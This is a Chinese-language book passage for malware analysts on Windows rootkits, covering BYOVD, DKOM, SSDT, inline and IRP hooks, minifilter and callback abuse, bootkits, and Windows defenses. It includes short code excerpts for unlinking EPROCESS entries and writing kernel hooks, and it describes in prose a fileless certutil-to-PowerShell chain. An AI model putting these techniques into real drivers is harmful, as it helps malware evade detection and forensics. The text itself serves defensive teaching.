自带易受攻击驱动程序(BYOVD,或简称 BYOD)攻击利用合法签名的驱动程序作为代理与内核交互;禁用安全控制;或加载单独的、未签名的恶意内核驱动程序。恶意软件作者寻找一个已经由有效签名机构签名的合法驱动程序(因此已通过 Windows 操作系统的审查),并在攻击期间将其放置到受害系统中。这个驱动程序还必须具有某种漏洞,允许攻击者在受害系统上执行低级恶意操作。为了利用这些漏洞,rootkit 通常通过其用户空间进程发送命令给易受攻击的驱动程序(例如通过调用 DeviceIOControl)。
一个典型的例子是 FudModule rootkit,据信由朝鲜的网络犯罪集团 Lazarus Group 使用。正如 ESET 研究人员报告的那样,FudModule 利用了一个含有漏洞(CVE-2021-21551)的已签名的 Dell 驱动程序,这个漏洞允许 Lazarus 向内核内存写入数据。更具体地说,这个漏洞是通过特制的指令通过 DeviceIOControl 触发的。最终,攻击者成功禁用了 Windows 中的多个防御机制,实际上使终端防御对攻击的后续阶段失去反应能力。更多信息请见 Peter Kálnai 文章“Lazarus 在荷兰和比利时的亚马逊主题攻击”:https://
另一个使用 BYOVD 技术的恶意软件例子是 BlackByte 勒索病毒家族。正如 Sophos 报道的那样,BlackByte 利用了合法产品 MSI AfterBurner 中的一个脆弱驱动程序,这是一款用于调节显卡的工具。该驱动程序漏洞(CVE-2019-16098)使得 BlackByte 的操作者能够与内核交互,并通过终止与 EDR 相关的进程来禁用主机上的 EDR 产品。想了解更多关于该恶意软件的信息,请查看 Andreas Klopsch 的文章《移除所有回调—BlackByte 勒索病毒通过 RTCore64.sys 滥用禁用 EDR》(https://
另一个例子是恶意软件家族 ZeroCleare,IBM X-Force IRIS 的研究人员发现该家族利用了一个脆弱的 VirtualBox 驱动程序(vboxdrv.sys),使攻击者能够在内核内存中执行 shellcode 并安装恶意内核驱动程序。你可以在 IBM 报告《新的破坏性擦除工具 ZeroCleare 针对中东能源部门》(https://
不幸的是,还有一些最近的恶意软件例子,利用脆弱驱动程序来禁用并盲化终端防御,加载额外的恶意内核驱动程序,或在操作系统的特权区域中执行恶意代码。此外,由于这些驱动程序是合法且已签名的,目前没有太多办法可以完全防止这种类型的攻击。有一个专门的项目跟踪这些脆弱的驱动程序,叫做 Living Off The Land Drivers(简称 LOLDrivers)。如果你有兴趣了解更多关于 BYOVD 攻击的知识,值得去探索一下,访问项目网站:https://
注意
并非所有 BYOVD 的使用都与 rootkit 相关。例如,一些恶意软件仅利用脆弱的驱动程序执行内核功能或进行低级操作,这些操作本来是被禁止的。
现在你已经了解了威胁行为者如何绕过 Windows 的保护机制来安装 rootkit,我们开始研究 rootkit 在受害主机上的行为,并通过操控系统保持隐藏。我们从一个老旧的技术开始:DKOM。
直接内核对象操作(DKOM)
直接内核对象操作(DKOM)涉及直接修改内核内存中的数据。这是一项精细的任务,因为如果操作不当,可能会导致操作系统崩溃。然而,如果操作得当,它可以赋予恶意软件巨大的能力。DKOM 的一个例子是隐藏进程。
通过使用 DKOM,rootkit 可以通过修改其进程的 EPROCESS 数据结构,将其用户空间进程和内核模块从终端防御和取证分析中隐藏。你可能还记得在第一章中,EPROCESS 结构形成了主机上正在运行的进程的双向链表。一些防御和分析工具依赖这些结构来监视和检查异常的运行进程。
要执行这种类型的 DKOM 技术,恶意的内核空间模块会调用诸如 PsLookupProcessByProcessID 之类的函数,以获取指向其自身用户空间组件 EPROCESS 结构的指针。然后,恶意软件可以修改 EPROCESS 结构的前向链接(flink)和后向链接(blink)成员,将该结构从 EPROCESS 链中解除链接。图 14-4 展示了解除链接前的正常、未修改的 EPROCESS 结构。

图 14-4:解除链接前的双向链接 EPROCESS 结构
请注意,EPROCESS 结构是通过它们的 flink 和 blink 成员链接的。
图 14-5 显示了当 rootkit 篡改 EPROCESS 结构以将其恶意进程(中间)解除链接时发生的情况。

图 14-5:解除链接后的 EPROCESS 结构
请注意,恶意进程的 EPROCESS 结构的 flink 和 blink 都指向它自己,从而有效地将该进程与正常的 EPROCESS 链断开连接。
以下代码是 HideProcess 项目的简化版本(请参见 https://
void remove_links(PLIST_ENTRY Current) {
PLIST_ENTRY Previous, Next;
❶ Previous = (Current->Blink);
❷ Next = (Current->Flink);
// Loop over self (connect previous with next).
Previous->Flink = Next;
Next->Blink = Previous;
// Rewrite the current LIST_ENTRY to point to itself.
❸ Current->Blink = (PLIST_ENTRY)&Current->Flink;
❹ Current->Flink = (PLIST_ENTRY)&Current->Flink;
`--snip--`
首先,代码定义了变量Previous(存储当前进程的 blink 指针)❶和Next(存储当前进程的 flink 指针)❷。之后,代码将这些LIST_ENTRY值重写为指向自身。Current->Blink = (PLIST_ENTRY)&Current->Flink这一行将进程的当前 blink 指针设置为其 flink 指针的值❸。Current->Flink = (PLIST_ENTRY)&Current->Flink这一行确保进程的 flink 指向自身❹。从本质上讲,这打破了 EPROCESS 链,隐藏了进程,使其从进程管理工具(如任务管理器)和一些取证工具集中消失,可能帮助它更好地逃避端点防御。
然而,DKOM 并不限于隐藏进程。使用 DKOM 技术,恶意软件理论上可以改变内核内存中的任何对象。已知恶意软件使用 DKOM 技术来隐藏恶意网络流量或修改文件,以干扰取证调查。DKOM 还可以用来注入内核钩子,正如你将在下一节中看到的那样。
虽然 DKOM 是 rootkit 用来隐藏或改变系统的最基本和直接的方法之一,但它并不是万能的。DKOM 和其他内核操作技术很容易导致操作系统崩溃,从而可能提醒受害者恶意软件的存在。不仅如此,像 PatchGuard 这样的安全措施也为恶意软件作者带来了挑战,正如我们在本章后面将讨论的那样。
“传统”内核钩子
就像在用户空间运行的恶意软件可以使用内联和 IAT 钩子来监控、拦截和操作函数调用一样,内核空间中的恶意软件也可以使用几种类型的钩子来发起攻击。我们将讨论一些最常见的钩子技术,从几十年前的 SSDT 钩子技术开始。
注意
本节讨论的技术曾经是 rootkit 和端点防御产品中最常用的一些技术。然而,与 DKOM 类似,这些技术由于微软在现代 Windows 版本中实施的保护措施,已经不再流行。不过,了解这些技术仍然很重要,因为你可能偶尔会看到恶意软件使用这些或类似的战术,这也能帮助你更好地理解更现代的 rootkit 技术。
SSDT 钩子
系统服务描述符表 (SSDT) 或 分发表 包含一组系统调用 ID 及其对应的内核函数指针。(这些在 32 位和 64 位操作系统之间有所不同,但我们在这里不讨论这些具体细节。)正如在第一章和第十三章中所讨论的,当用户空间的进程调用 Windows API 和 NT API 函数时,最终会通过系统调用进入内核来执行请求。我们来看一个使用NtReadFile读取磁盘文件的例子。以下是必须发生的基本步骤顺序:
1. 用户空间中的程序调用NtReadFile。程序发起一个系统调用,引用与NtReadFile函数对应的系统调用 ID。
2. 系统调用触发处理器从用户模式切换到内核模式,并将请求和系统调用 ID 传递给系统调用处理程序。
3. 系统调用处理程序查阅 SSDT 获取内核NtReadFile函数的地址(该函数从 ntoskrnl.exe 导出),然后继续执行该函数。
4. 由于NtReadFile函数被调用来读取磁盘上的文件,因此它必须与内核驱动程序(如磁盘驱动程序堆栈)进行通信。这时,IO 管理器便参与其中。
5. IO 管理器以IO 请求包 (IRP) 的形式向适当的驱动程序发送指令,这些驱动程序将执行NtReadFile请求的操作(例如读取磁盘上的特定文件)。我将在本章后面讨论 IO 管理器和 IRP。
6. 一旦驱动程序处理完请求,结果将被发送回原始的用户空间调用程序。
现在你对 SSDT 的基本使用有了了解,你可以看到恶意软件如何通过在其中插入钩子,将请求重定向到恶意代码。图 14-6 展示了这种方法的一个例子,使用了NtReadFile函数。

图 14-6:NtReadFile 的 SSDT 钩子
rootkit 修改 SSDT 中指向NtReadFile的函数指针,进而将对NtReadFile的请求重定向到 rootkit 的恶意内核模块。rootkit 然后拦截并修改对NtReadFile的调用。稍后,它可以将调用重定向到 ntoskrnl.exe 中的原始NtReadFile函数代码。
恶意软件作者使用 SSDT 钩子的原因有很多。例如,他们可能会为 NtReadFile 实现一个 SSDT 钩子,以防止恶意软件自身的恶意文件和代码被终端防护和调查人员读取。另一种内核钩子技术——内联内核钩子,也用于类似的原因。
内联内核钩子
内联钩子是恶意软件在用户空间(如 第十二章 讨论的)以及内核函数中都使用的一种技术。为了安装钩子,根工具包试图修改 ntoskrnl.exe 中的函数代码。类似于刚才讨论的 SSDT 钩子示例,根工具包可以通过篡改函数代码插入跳转指令,将控制流重定向到恶意内核模块的代码,如 图 14-7 所示。

图 14-7:NtReadFile 的内联内核钩子
根工具包可以通过多种方式将钩子写入目标函数。类似于用户空间中的内联钩子,恶意软件首先必须修改目标函数代码的内存保护,然后将钩子写入其中。以下伪代码演示了这一过程:
// Set target memory to PAGE_READWRITE protection.
MmProtectMdlSystemAddress(mdl, "PAGE_READWRITE");
// Write a hook (a jump instruction) into the target function.
RtlCopyMemory(targetAddress, sourceAddress, size);
// Set the target memory back to original protections.
MmProtectMdlSystemAddress(mdl, "PAGE_READONLY");
MmProtectMdlSystemAddress 是一个内核函数,用于设置 内存描述符列表 (MDL) 的内存保护类型,MDL 是一个包含内存地址范围的结构。此函数有两个参数:一个 MemoryDescriptorList(将要修改的内存地址范围)和一个保护常量(如 PAGE_READWRITE,它将改变 MDL 的保护为可写)。
随后,恶意软件调用一个内核函数,如 RtlCopyMemory,将目标代码覆盖为跳转指令。例如,RtlCopyMemory 的主要参数是目标内存区域的目的地址、源地址(其中包含要复制的跳转指令)和复制数据的大小。恶意软件必须小心将目标内存区域恢复为其原始保护设置,因为不正确和异常的保护(例如“可写”)可能会引起终端防护的怀疑,或者导致系统不稳定。
接下来,我们将讨论 IRP 钩子,这也是根工具包已知使用的一种内核钩子类型。
IRP 钩子
当用户空间程序需要与内核驱动程序通信时,它们通过 IO 管理器来实现。这种通信主要通过 IO 请求包(IRP)完成,IRP 是包含请求信息和待执行操作的数据结构对象。IRP 在调用程序和内核驱动程序之间传递,但它们也可以用于驱动程序之间的通信。例如,USB 键盘驱动程序需要与 USB 主机控制器驱动程序通信,IO 管理器有助于促进这种通信。这个关系在 图 14-8 中得到了说明。

图 14-8:IRP 的工作原理
本程序调用 CreateFile 函数来打开磁盘上的文件句柄。最终,程序会进行系统调用,进入内核(ntoskrnl.exe)。此时,IO 管理器开始介入,向文件系统驱动程序发送 IRP 来处理此操作。在最后一步(这里未显示),驱动程序将操作的状态发送回 IO 管理器,后者将状态返回给调用程序。
每个 IRP 包含一个 IRP 代码,该代码告诉接收驱动程序应使用哪个 IRP 处理程序来处理相应的请求。表 14-1 列出了我们目的相关的一些更有趣的 IRP 功能代码。
表 14-1: IRP 代码
| IRP 代码 | 请求描述 |
|---|---|
| IRP_MJ_CREATE | 当请求线程打开设备或文件对象的句柄时发送给驱动程序,例如调用 NtCreateFile |
| IRP_MJ_WRITE | 当请求者希望传输数据时发送给驱动程序,例如将数据写入文件 |
| IRP_MJ_READ | 当请求者希望读取数据时发送给驱动程序,例如从文件中读取数据 |
| IRP_MJ_DEVICE_CONTROL | 当调用 DeviceIoControl 函数时发送(意味着一个用户空间进程正在向驱动程序发送直接控制代码或指令) |
| IRP_MJ_SHUTDOWN | 当系统关闭已被启动时发送 |
| IRP_MJ_SYSTEM_CONTROL | 当用户空间进程通过 Windows 管理工具(WMI)请求系统信息时发送 |
每个安装在内核中的驱动都会包括一个 IRP 处理程序表,称为 主要函数表(或 IRP 函数表)。主要函数表包含指向处理特定 IRP 的处理程序代码的指针;这些代码可能位于驱动程序本身中,或者位于另一个驱动或模块中。以下输出显示了 FLTMGR 驱动的 IRP 函数表:
IRP_MJ_CREATE 0xfffff8023674ca20 FLTMGR.SYS
IRP_MJ_CREATE_NAMED_PIPE 0xfffff8023674ca20 FLTMGR.SYS
IRP_MJ_CLOSE 0xfffff80236713e60 FLTMGR.SYS
IRP_MJ_READ 0xfffff80236713e60 FLTMGR.SYS
IRP_MJ_WRITE 0xfffff80236713e60 FLTMGR.SYS
IRP_MJ_QUERY_INFORMATION 0xfffff80236713e60 FLTMGR.SYS
IRP_MJ_SET_INFORMATION 0xfffff80236713e60 FLTMGR.SYS
IRP_MJ_QUERY_EA 0xfffff80236713e60 FLTMGR.SYS
`--snip--`
该输出是借助 Volatility 创建的,Volatility 是一款内存取证和分析工具。尽管本书未涵盖此内容,但内存取证技术可以极大地增强恶意软件分析过程,特别是在处理根套件时。对于这个具体的例子,我使用了 Volatility 中的 driverirp 模块。
该输出的第一列包含 IRP 代码。第二列和第三列分别包含指向相关 IRP 处理程序函数的指针,以及包含处理程序代码的模块。在这个例子中,驱动指向它所包含的处理程序。
为了拦截、修改并控制 IO 通信,恶意内核驱动可能尝试挂钩 IRP。这样做的一个原因是通过拦截引用磁盘上恶意文件的 IRP 函数调用来隐藏和保护恶意软件的痕迹。Autochk 根套件(SHA256: 28924b6329f5410a5cca30f3530a3fb8a97c23c9509a192f2092cbdf139a91d8)正是这样做的:它在 FLTMGR 驱动中挂钩 IRP_MJ_CREATE,以拦截引用磁盘上恶意文件的 IRP(如 图 14-9 所示)。

图 14-9:NtReadFile 的 IRP 挂钩
如果用户空间中的应用程序,例如取证工具,尝试访问这个根套件的文件,IRP 将由根套件的处理程序代码来处理,而不是由本应处理此请求的合法处理程序处理。以下是 Volatility 输出,显示了挂钩的 FLTMGR 驱动的 IRP 函数表:
0 IRP_MJ_CREATE 0xfffff80230bf1bc4 autochk.sys
1 IRP_MJ_CREATE_NAMED_PIPE 0xfffff8023674ca20 FLTMGR.SYS
2 IRP_MJ_CLOSE 0xfffff80236713e60 FLTMGR.SYS
3 IRP_MJ_READ 0xfffff80236713e60 FLTMGR.SYS
4 IRP_MJ_WRITE 0xfffff80236713e60 FLTMGR.SYS
5 IRP_MJ_QUERY_INFORMATION 0xfffff80236713e60 FLTMGR.SYS
6 IRP_MJ_SET_INFORMATION 0xfffff80236713e60 FLTMGR.SYS
7 IRP_MJ_QUERY_EA 0xfffff80236713e60 FLTMGR.SYS
`--snip--`
注意到什么可疑的事情了吗?在代码的第一行,FLTMGR.SYS已被替换为autochk.sys。所有原本应发送给 FLTMGR 驱动的MJ_CREATE IRP,现在将被转发到 rootkit 驱动中的恶意处理代码,即autochk.sys!你可以在https://
要安装一个 IRP 钩子,恶意软件作者有几种选择。一种方法是将受害者驱动中原始处理程序代码指针的值替换为指向恶意处理程序代码的指针。或者,恶意软件可以使用之前描述的内联挂钩方法,通过跳转指令覆盖合法处理函数中的前几个字节,跳转到恶意代码。
这两种技术以及其他提到的挂钩技术,都依赖于在内存中操控内核对象的精细任务。然而,如前所述,由于 Windows 现在内置了保护措施,本节讨论的技术在恶意软件中已不常使用。考虑到这一点,让我们转向一些相对现代的技术,rootkit 可能会使用这些技术绕过 Windows 的保护,首先从 IRP 过滤和拦截开始。
IRP 拦截与过滤
与粗暴地挂钩内核驱动以拦截和操控 IRP 不同,rootkit 可以注册一个过滤或迷你过滤驱动来实现此功能。如本章开始时所述,过滤驱动和迷你过滤驱动可以“附加”到设备,并被添加到其驱动栈中,拦截通过栈传递的 IRP。让我们更详细地了解这一过程。
注意
过滤驱动(有时也称为遗留过滤驱动)和迷你过滤驱动是两种过滤类型,但它们的工作方式大不相同。在本书中,我不会详细讲解这两种驱动的具体细节。
每个附加到系统的硬件设备都有一个与之关联的分层驱动栈,用于实现设备与操作系统之间的通信(参见图 14-10)。

图 14-10:IO 管理器如何与驱动栈通信
堆栈中的每个驱动程序执行特定角色,并作为堆栈中前后驱动程序之间的接口。此外,当 IO 管理器将 IRP 发送到特定设备时,IRP 会通过设备的层次化驱动程序堆栈,逐一经过堆栈中的每个驱动程序。如果其中一个驱动程序有一个处理特定 IRP 的处理程序,它将对该 IRP 执行某种操作。图 14-10 中显示的箭头表示驱动程序之间通过 IRP 进行的通信。
筛选驱动程序旨在插入驱动程序堆栈中以添加功能。它们可以插入堆栈中的不同位置(称为高度),甚至可以添加到堆栈的顶部,在那里它们可以拦截所有目的地为驱动程序堆栈的 IRP(见图 14-11)。

图 14-11:添加到驱动程序堆栈顶部的筛选驱动程序
Rootkit 可以注册一个新的筛选驱动程序并将其“插入”到驱动程序堆栈的顶部,从而让它们看到并拦截所有传入的 IRP。拦截后,恶意软件可以选择丢弃该 IRP 或修改它。rootkit 可能会通过这种方式使用筛选驱动程序来保护自己的文件。例如,它可以注册一个筛选驱动程序来监视并拦截对其文件的 IO 请求,修改请求或完全丢弃它们,从而有效地将其隐藏于调查人员和分析工具之外。EDR 和其他端点防御有时也会出于相同的原因使用筛选驱动程序:保护其文件免受恶意软件侵害。
要实现筛选驱动程序,rootkit 必须首先将驱动程序加载到内核内存中(可能使用“Rootkit 安装”中提到的技术,见第 269 页)。筛选驱动程序必须通过为这些 IRP 设置处理程序来指定它关心的 IRP 通信。例如,如果恶意软件试图拦截MJ_CREATE IRP,它必须在筛选驱动程序的 IRP 功能表中实现这一点。
恶意软件可以通过注册自己的小型过滤器(调用 FltRegisterFilter)或挂钩现有的小型过滤器来滥用小型过滤器驱动程序。一些现代恶意软件已知会这样做。在分析 rootkit 驱动程序代码时,注意恶意软件是否调用 FltRegisterFilter 来注册自己的小型过滤器驱动程序。还要注意恶意软件是否调用了诸如 FltGetFilterFromName、FltEnumerateFilters 或 FltEnumerateInstances 等函数;它可能正在尝试枚举主机上的其他小型过滤器,为挂钩做准备。有关小型过滤器驱动程序如何在实践中实现的更多信息,请参见 Rahul Dev Tripathi 的文章《通过小型过滤器驱动程序方法限制存储设备》:https://
传统的过滤器驱动程序安装方式不同。具体细节超出了本书的范围,但你可以通过文件系统驱动程序教程了解更多:https://
滥用内核回调
滥用内核回调是一些 rootkit 使用的另一种现代方法。回顾 第十三章 中的讨论,回调允许内核模块在发生系统事件时接收到通知,以便它可以采取某种行动。例如,驱动程序可能需要知道何时在用户空间执行了某个进程,因此它会实现 PsSetCreateProcessNotifyRoutine 回调(例如某些 EDR 产品的情况)。一旦此回调在驱动程序中注册,驱动程序将在系统上创建进程时收到 IRP 形式的通知,驱动程序有机会为该事件执行其回调代码。
进程的创建者负责向所有注册的驱动程序发送通知。因此,当一个进程生成一个子进程时,调用进程会向所有注册的驱动程序发送 CreateProcessNotifyRoutine 通知。当驱动程序收到通知时,驱动程序的回调代码将被执行。
根套件(rootkit)如果希望接收特定系统事件的通知,也可以使用回调。一旦发生事件,比如注册表修改或文件系统操作,根套件的恶意驱动程序将会收到通知,回调代码将被执行。以下输出显示了在被感染系统上注册的回调例程:
Type Callback Module
--------------------------------------------------------------------
IoRegisterShutdownNotification 0xfffff8033891e830 ntoskrnl.exe
IoRegisterShutdownNotification 0xfffff8033b6b10c0 SgrmAgent.sys
IoRegisterShutdownNotification 0xfffff803390cf320 ntoskrnl.exe
`--snip--`
PsRemoveLoadImageNotifyRoutine 0xfffff80af3afb210 ahcache.sys
PsRemoveCreateThreadNotifyRoutine 0xfffff80336bd1060 mmcss.sys
**PsSetCreateThreadNotifyRoutine 0xfffff6050d26ccc0 comp.sys**
KeBugCheckCallbackListHead 0xfffff8033c13cb90 ndis.sys
KeBugCheckCallbackListHead 0xfffff8033c59b4e0 fvevol.sys
`--snip--`
在此输出中,Type 列显示回调类型,Callback 列显示回调处理程序的地址,Module 列显示注册回调的内核模块。大多数这些都是正常、合法的回调。然而,有一个可疑的模块名称(comp.sys),它似乎注册了一个有趣的回调(PsSetCreateThreadNotifyRoutine)。如前所述,当用户空间中的进程创建新线程时,这个回调将被触发。还需要注意的是,回调代码的地址与合法回调的地址有很大不同(例如,0xfffff6050d26ccc0 与 0xfffff80af3afb210)。
DirtyMoe 根套件采用了类似的方法。DirtyMoe 使用内核回调将恶意代码悄悄注入到用户空间中新创建的线程中。你可以在 Martin Chlumecký 的文章《DirtyMoe:Rootkit 驱动程序》中阅读更多内容,文章链接为 https://
恶名昭著的 Necurs 根套件起源于 2014 年,它设置了一个注册表回调(CmRegisterCallback),这是一种过滤驱动程序回调,能够通知它访问其注册表服务键的任何行为。如果调查员或程序尝试访问此注册表键,访问将失败。以下是一个简化的伪代码示例,展示了恶意驱动程序如何注册并滥用注册表回调:
1 void RegistryCallback(..., ..., context)
{
if (context)
{
❷ if (event == CM_EVENT_REGISTRY_KEY_OPEN)
{
❸ if (context->registryKey == "HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\evil")
{
❹ // Block the action.
}
}
}
}
5 CmRegisterCallback(RegistryCallback, &context);
这段恶意代码首先定义了回调函数代码(RegistryCallback),一旦回调发生,就会执行此函数❶。稍后,在代码中,rootkit 定义了注册表回调,传递回调名称(RegistryCallback)以及上下文,它是一个指向包含有关函数调用信息的结构体的指针❺。由于此回调将由与 Windows 注册表交互的程序触发,因此此上下文结构包含重要信息,如特定的注册表操作(打开键、写数据等)和操作目标(或受影响的特定注册表键或值)。
当一个程序执行注册表操作时,例如调用RegOpenKeyExA,rootkit 的恶意回调代码将被执行。rootkit 会检查注册表事件是否等于CM_EVENT_REGISTRY_KEY_OPEN(表示正在打开注册表键)❷,然后检查正在操作的注册表键是否是HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\evil(恶意软件用于在主机上建立持久性的注册表键)❸。如果键名匹配,rootkit 会尝试阻止程序或调查者检查该注册表键❹。它可以通过暂时删除自己的注册表键并稍后重新创建它,或通过将恶意代码注入调用进程并挂钩该函数调用来防止调用成功,等等方法来做到这一点。
注意
CmRegisterCallback 现在已过时;该函数的现代版本是 CmRegisterCallbackEx。然而,函数的原理保持不变。
你已经看到了一些关于 rootkit 如何在操作系统中以非常低级的方式操作,操控内核内存、安装钩子并配置回调,从而保持隐藏并逃避防御的内容。现在我们简要地看一下更深层次的恶意软件变种:引导程序。
引导程序
引导程序是一种恶意软件,旨在隐藏在系统固件中,破坏整个启动过程。如果引导程序能够篡改操作系统的启动过程,将自身注入此过程链中,它可以有效地实现 rootkit 的所有功能,同时还能在系统重建后生存下来。
一种特定类型的启动劫持程序是 UEFI 启动劫持程序(有时称为 UEFI rootkit),它在统一可扩展固件接口(UEFI)内运行,UEFI 是附加到系统主板的一个专用存储芯片。UEFI 包含在操作系统启动之前执行的低级软件,为操作系统内核与系统中安装的各种固件设备提供接口。由于 UEFI 在操作系统启动之前就已运行,因此能够嵌入到 UEFI 芯片中的恶意软件将在更长时间内保持不被检测到,甚至可以在操作系统重装和重建后仍然存活。
一个显著的 UEFI 启动劫持程序例子是 CosmicStrand。2022 年 7 月,卡巴斯基的研究人员报告称,这个 UEFI 启动劫持程序深入系统,入侵途径可能是硬件漏洞。该启动劫持程序影响了某些型号的华硕和技嘉主板的系统,并控制了 Windows 操作系统内核加载程序,将恶意代码注入到内核内存中。有关这一威胁的更多信息,请参见卡巴斯基全球研究与分析团队(GreAT)的文章《CosmicStrand:一款复杂的 UEFI 固件 Rootkit 的发现》,文章链接是 https://
另一个例子是 MosaicRegressor 框架,该框架也被卡巴斯基发现。它包含一个 UEFI rootkit 组件,通过劫持 Windows 启动过程,在磁盘上放置一个可执行文件,该文件在 Windows 启动时悄悄执行。如果从磁盘中移除此可执行文件,它将在系统重启时重新写入磁盘,从而提供高度的持久性。你可以阅读卡巴斯基关于 MosaicRegressor 的文章《潜伏在 UEFI 阴影中的 MosaicRegressor》,由 Mark Lechtik、Igor Kuznetsov 和 Yury Parshin 撰写,文章地址是 https://
与传统的用户空间恶意软件相比,启动劫持程序(bootkits)相对较少见。然而,它们可能并不像人们所认为的那样罕见。由于它们能够以低级别访问主机,即使在防御良好的环境中,它们也能在不被察觉的情况下存活并持久存在。如果我们无法检测到这种类型的恶意软件,我们就无法知道它的存在,这让我们得出一个令人不安的结论:这种恶意软件可能嵌入了比我们知道的更多的系统中。然而,并非一切都已失去。让我们通过讨论一些 Windows 内置的防御措施来结束这一章,来应对 rootkits 和 bootkits。
Rootkit 防御
微软已经实施了多种防御措施来对抗根套件,其中最重要的两项是PatchGuard和驱动签名强制(DSE)。PatchGuard 于 2005 年为 Windows XP 的 x64 版本推出,也被称为内核补丁保护(KPP),它缓解了前面描述的许多根套件技术,例如 SSDT 和 IDT 钩子以及多种形式的 DKOM。PatchGuard 通过定期验证内核内存结构的完整性来测试它们是否被修改。如果 PatchGuard 检测到其中一个结构被修改,它会强制内核崩溃,结果如图 14-12 所示。

图 14-12: 由 PatchGuard 引起的内核安全检查崩溃
然而,PatchGuard 并非不可绕过。由于它定期扫描内核内存,如果这些检查的时机恰当,恶意软件可以非常快速地篡改内核内存,然后在 PatchGuard 执行完整性检查之前恢复到“干净”状态。为了启动此检查,操作系统调用KeBugCheckEx内核 API 函数,已知某些恶意软件会劫持此函数,防止内核完整性检查成功执行。还存在一些恶意软件利用 PatchGuard 和其他相关组件的漏洞。例如,GhostHook 恶意软件利用了 Windows 实现某种低级 Intel API——Intel Processor Trace 的漏洞,可能允许恶意软件绕过 PatchGuard 的监测。这种攻击技术相当复杂,因此我们在此不深入探讨,但你可以在 Kasif Dekel 的文章《GhostHook——利用处理器跟踪钩子绕过 PatchGuard》中阅读更多内容,网址为https://
另外两个相对较新的逃避 PatchGuard 的恶意软件实例是 InfinityHook(https://
正如本节开头所提到的,微软实施的另一个安全控制是驱动程序签名强制(DSE),有时称为数字签名强制,该功能已在 Windows Vista(x64)及更高版本中发布。DSE 确保只有经过预验证(已签名)的驱动程序才能被加载到内核内存中。理论上,合法的驱动程序将被允许加载,而可疑的未签名驱动程序则会被阻止加载。你在本章前面阅读到过,恶意软件可以通过使用带有合法证书签名的恶意内核驱动程序或使用 BYOVD 技术来绕过这一控制。微软建议通过使用黑名单已知的易受攻击驱动程序来解决这个问题。如果某个驱动程序被报告为易受攻击或正在被恶意利用,微软会将其加入黑名单,从而防止其后续安装。你可以通过在 Windows 的较新版本中启用“Microsoft 易受攻击驱动程序黑名单”安全选项来强制执行此功能。这个控制的主要问题是,某些合法驱动程序可能会被阻止加载,而且它仅能防御已知的恶意驱动程序。
最后,早期启动反恶意软件(ELAM)是一些终端防御软件的功能,旨在保护 Windows 启动过程。ELAM 负责在其他第三方组件之前加载反恶意软件内核组件。这确保了反恶意软件在根套件或其他持久性恶意软件有机会加载和执行之前,能够正确加载并运行。ELAM 可以有效防御根套件。然而,由于 ELAM 驱动程序直到启动过程的后期阶段才会加载,单靠 ELAM 可能无法防止启动病毒的加载。
为了防御启动病毒和 UEFI 根套件,你可以启用安全启动。安全启动可在大多数现代硬件上使用,防止恶意代码劫持 Windows 启动过程。在启动时,安全启动会验证 UEFI 固件驱动程序和操作系统本身的完整性,然后才允许系统完全启动。如果恶意软件已经嵌入 UEFI 芯片中,这为系统提供了一层保护。大多数版本的 Windows 中,安全启动是可选的,但在 Windows 11 中是必须启用的。然而,像所有安全控制一样,安全启动的不同实现方式可能存在漏洞,恶意软件可能会利用这些漏洞。Eclypsium 的研究人员(https://
最后需要注意的是,许多 Windows 根套件保护措施,如 PatchGuard 和 DSE,仅适用于 x64(64 位)版本的 Windows。这使得 x86(32 位)版本的 Windows 可能暴露于一系列危险的低级恶意软件之中。幸运的是,正因为这些安全特性在 x86 模式下未启用,EDR 和反恶意软件可以利用这些相同的技术进行保护,监控并保护终端。
总结
本章介绍了 rootkit 的基础知识:内核模块的工作原理、恶意软件如何安装恶意模块,以及威胁行为者如何绕过如签名驱动程序强制执行等保护措施。我们讨论了一些常见的 rootkit 技术,如 DKOM、内核钩子、IRP 拦截和内核回调滥用。你还了解了 bootkit,并看到内核空间恶意软件如何绕过 Windows 内建的保护机制,如 PatchGuard。本章仅仅触及了 rootkit 和内核操作技术的皮毛,如果你有兴趣深入了解,建议你查看附录 C 以获取更多资源。在下一章中,我们将讨论现代恶意软件如何通过利用“无文件”技术和反取证技术,避开端点防御和调查人员的监测。
第十六章:15 无文件攻击、利用系统资源攻击和反取证技术

无论现代恶意软件设计得多么隐蔽,它总是不可避免地在受害者环境中留下至少一些存在的痕迹。这些痕迹可能是持久性机制,比如系统启动任务或服务,或者仅仅是攻击过程中写入磁盘的文件。在后者的情况下,一旦文件写入磁盘,像反恶意软件这样的防御机制就有更好的机会检测到恶意软件并阻止攻击。痕迹证据还可以为调查人员提供分析攻击后期入侵的优势。恶意软件作者意识到这一点,因此转向了无文件恶意软件和反取证技术。
无文件恶意软件,有时称为内存驻留恶意软件,是不创建或篡改硬盘上的文件的恶意软件;相反,它的痕迹仅存在于内存中。更广义地说,无文件攻击一词指的是整个攻击链(或至少其中的主要部分)是无文件的。无文件攻击使得恶意软件检测变得更加困难,因为它对主机防御(如反恶意软件)的影响较小,也使得取证调查人员在分析攻击的范围和影响时更加困难。这些攻击利用了如第十二章中描述的进程注入技术,以及本章稍后讨论的“利用系统资源二进制文件”(LOLBins)等技术。
反取证是一类技术,攻击者通过这些技术试图隐藏或删除攻击痕迹,以抑制未来的取证调查。攻击者可能指示他们的恶意软件终止自身并删除内存中的痕迹,删除或损坏磁盘上的文件,清除或篡改日志和证据,甚至完全摧毁受害者系统,所有这些都是为了抑制未来的调查。我们将在本章稍后讨论反取证。首先,让我们更深入地了解无文件攻击。
无文件攻击的工作原理
虽然传统的恶意软件威胁通常依赖于文件写入磁盘,但无文件恶意软件完全(或几乎完全)在内存中运行,以尽量减少在受害主机上的痕迹。图 15-1 展示了一个假设但现实的无文件攻击。
让我们一步步分析这个攻击。首先,恶意软件作者向受害者发送一封包含恶意 Microsoft Word 文档的电子邮件。受害者用户愉快地打开文档(就像人们常做的那样),这随后执行了一个嵌入的Visual Basic for Applications(VBA)脚本:这段代码可以嵌入到合法的文档中,用来自动化常见任务,但经常被滥用用于更恶意的目的。嵌入的 VBA 脚本调用了一个内置的 Windows 工具certutil.exe,该工具从攻击者的暂存服务器下载一个编码的 PowerShell 脚本。一旦编码脚本下载完成,certutil 会解码它,然后使用powershell.exe 执行该脚本。这个 PowerShell 脚本会将代码写入 Windows 注册表,并在系统重启时执行。不久之后,受害者用户关闭了笔记本电脑,准备休息并回家。

图 15-1:无文件攻击
